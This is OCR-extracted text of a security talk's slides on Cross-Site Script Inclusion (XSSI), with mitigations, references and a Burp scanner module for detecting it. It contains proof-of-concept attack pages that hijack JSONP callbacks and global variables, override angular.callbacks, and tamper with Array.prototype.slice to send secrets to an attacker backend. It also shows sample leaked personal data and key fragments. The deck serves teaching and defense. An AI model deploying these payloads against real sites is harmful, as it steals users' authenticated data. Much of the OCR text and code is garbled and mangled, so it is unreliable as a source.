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Same Origin Policy



Scripts (and JSONP) don‘t fall under the same strict SOP and can
be included cross-domain, which is why we have
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include script from 4 )

www.malicious.net

WWW.your-
leak data bank.com

- J




What About Ambient Authority?

» Works just the same as with CSRF ©
» Ambient Authority Information is sent cross-site

> Leaked Information get‘s more interesting...




Example







<!DOCTYPE html>
<html>
<head><title>X55I</title></head>
<body=>
<script>
function leak(leaked) { alert(JSON.stringify(leaked)); };
</script>
<script src="https://
</body>
</html>

.com/p?jsonp=leakl] type="text/javascript"></script>



{"status";200,"body": { "demographics":
{"email";" @grail.com","acceptedTerms" true,"firstName";"Frank","lastMName";"Meier","phone";" 07912 34
don't hawve a TV prowder" "gender":"M","dob": "1969 -01-04"},"preferences": {"language": "erHJs“ "locale":"en US","unit™: "Met
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Static Script . ] Dynamic
/ JISONP* . L JavaScript

Static . :
JavaScript . ] )
requiring 2 ) Non-Script
Authentication ,' .
* . . L 4 * . ) . L 4
o L] . * . IS . . .

* |f the JISONP requires parameters, these need to be guessable
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Finding XSSI Category 1

> Read the Code

> Grep for

> Public Keys

> Social Security Numbers
> Credit Card Numbers

rerpublickeyid = 2;
erpublickey = "-----BEGIN RSA PUBLIC KEY-----%n" +
gEAtFldA2rTCsPegsplodoHIvwhfS+QGI10I07STyY73W2+1033cV7E
kZ3pkloDn2be@eb2Uq08dM3xN419FdHNORQB97KYogoeSbLNQwyATXE
4BBwce2zi3/+4M/ 2H4+9v1v2 /P00 jlepibcDShjVnAuksuoGaDcByg2
kEkcyYtaBknZpED@lt/d4ekwlbomjHKcboSuF iw+tuSvv7DXOkTcik+
"TbDIvI2RjzRYG33CPE+BI+XbS7ULljPvdFragCenz+B3AiGcPZWTEE
SLswOVX /HvHUB/GRrhdblXWUDndKpigtlwgyY4H20a+h9tEENCKET
ehNsyEi9+1RUAmknglwWeQOC+kiftbjbo/qtlzz15vtbrdMwghCFe
znq8ebsGETYyPSqI7fSbhpmVULKKbebSDwEkgDnQso31iLjSXOKIC
IEQ4jdx6yAHA7FNGEx4iuBqM78c7GKCisygZxFBkdEB7V7a5U0
JBFEt/wDsL54q8KmGbz0TvRqSuz/tMvsBycglVgAdrlxmvu+1
'qlxyQ/CT5IP4unFsSHEpG31skx1TXv5a7kWSAT sCAWEAAD==
IC KEY-----%n";

server has been running for more than an hour
w@il using these settings, rather than locking
hWis definition if you want to use this featur

ill leock down the server.



Re-Request the JavaScript file
without authentication and »

Does the answer differ from the [
: original? : »

Re-Request the JavaScript file
check if answer differs again »




)SCI P( These issues are related to browser

security

Server Response

Malicious Website

<html|>
<body>

<script src="http://site.tld/json-
utf7.json" type="text/javascript"
Which translates to charset="UTF-7"></script>
</body>

</html|>
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var
privateKey = "-———- BEGIN RSA
PRIVATE KEY----- \
MITEowIBAAKCAQEAvVgT7kdx]jZg4naHB8 jNTMrFsi
SKhmf8rpsRWO01iS5EK/c+evvT\
[redacted]
9abcosxptnnP286cyq7whYysfe5HqODAWZ Ip5SG
FPKgilWE1MBur\
***** END RSA PRIVATE KEY-----",
keys = [

{ name: 'Key No 1', apiKey:
'0Oc8aab23-2ab5-46c5-al0f2-e52ecf7d6eal8’',
privateKey: privateKey 1},

{ name: 'Key No 2', apiKey:
'1e4b8312-f767-43eb-alob-d44d3e471198"',
privateKey: privateKey }

1;

some.js

Case: Global Variable

<!DOCTYPE html>
<html>
<head>
<title>Global Variables</title>
<script src="some.js"></script>
</head>
<body>
<script>
alert (JSON.stringify(keys[0]1))
</script>
</body>
</html>




ttion factory(%$injector) {

nction makeInjectable(fn) {
SCIP . . f (isFunction(fn) || isArra:
Case: Function Override return function(tElement, -

return $injector.invoke(
3
Response == {

turn fn;

angular.callbacks.7({"status" :STATUS, "body" : {"demographic

s"{"email":...... }1})
ste = (loptions.templ
{
<script> r: controller,
var angular = function () { return 1; }; rs: identifierForC
angular.callbacks = functlo? () { return 1; }; makeInjectable(tem
angular.callbacks.7 = function (leaked) { , i
R ) .+ makeInjectable(
alert (JSON.stringify(leaked)) ;
}; options.transclu
</script>
<script

. . ler: ocptions.bil
src="https://site.tld/p?jsonp=angular.callbacks.7"

type="text/javascript"></script>
ns.reguire
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Case: Provide Callback

Response

angular.callbacks. 7({"status":STATUS,"body":{"demographics":
{"email":...... }1})

<script>
gimmethatdata = function (leaked) {
alert (JSON.stringify(leaked)) ;
};
</script>
<script src="https://site.tld/p?jsonp=gimmethatdata" type="text/javascript">
</script>
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Case: Prototype Tampering &, tAttrs) {

L

te(fn, this, {$element: tE!

(function () { Array.prototype.slice = function() {
// leaks ["secretl", "secret2",

"secret3"]
sendToAttackerBackend (this) ;

var arr = ["secretl",
"secret2", "secret3"];

// intents to slice out first
entry }i

var X = arr.slice(l);
= && !options.templat:

PO
1ller(options.contr

s
5. templateUrl),

| {1

Note: Example taken from S. Lekies paper
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No sensitive data in JavaScript files or JSONP cbs.
Correct Content-Type

X-Content-Type-Options: nosniff

Anti-Cross-Site Request Forgery Token

SamesSite Cookie Attribute (draft!)

Spread the word

Report them
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* http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-
techniques-using.html

* http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-
people-think-it-is/

* http://www.thespanner.co.uk/2011/05/30/json-hijacking/
« http://phrack.org/issues/69/12.html
* https://www.mbsd.jp/Whitepaper/xssi.pdf '

* https://www.usenix.org/system/files/conference/usenixsecurity 15/sec15-
paper-lekies.pdf

* http://sebastian-lekies.de/leak/
* http://miladbr.blogspot.ch/2013/03/cross-site-script-inclusion.html

* http://www.scip.ch/en/?labs.20160414
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DetectDynamiclS

XSSlI

> Passive Scanner Module

> Filters for JSONP and
Scripts

> It’s in your Burp Store

> Currently only
implemented for cookie

[Cnntents Issues]

! Dynamic JavaScript Code Detected

flsory T Requestl I Responsel T Request2 I Responsez

TI%eadersT|4ex}

1on: close
zcept-Encoding
le:
fwmdlLGreaBoox xuolUHRorL8x 2DVNGFST s 13Cz 0KBSdx suFy v BEMDA
KMrdA1BzkUjw2m3RCI8] 1hen0440aFp02vHZ rOEHS3IBIYerZUgF
BVMUHo I t6%2BUHS001 tWgUk ptn3ZhGAOGY71UT J6yoatusWliol
%2Bg0V119dc32XIMw 1 S7wlshaMorREZPw] 4%2F L 11 ypxaldgi%3D"
Mon, 06-Jun-2016 03:45:02 GMT

backs. 0({ "status": 200, "body":

s {"ema1l":" +ddjs@gmail.com","acce
astName":"Meier","phnne":"9?9123456?","userwame"
e a TV

ler":"M","dob":"1969-01-04"},"preferences":{"la
"Metric"},"locations":[{"1d":"home", "doc":{"qge
l1nate":"47.38,8.54" ,"address" :"Zirich,
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Thanks for listening!

Questions?

@fenceposterror
veha@scip.ch




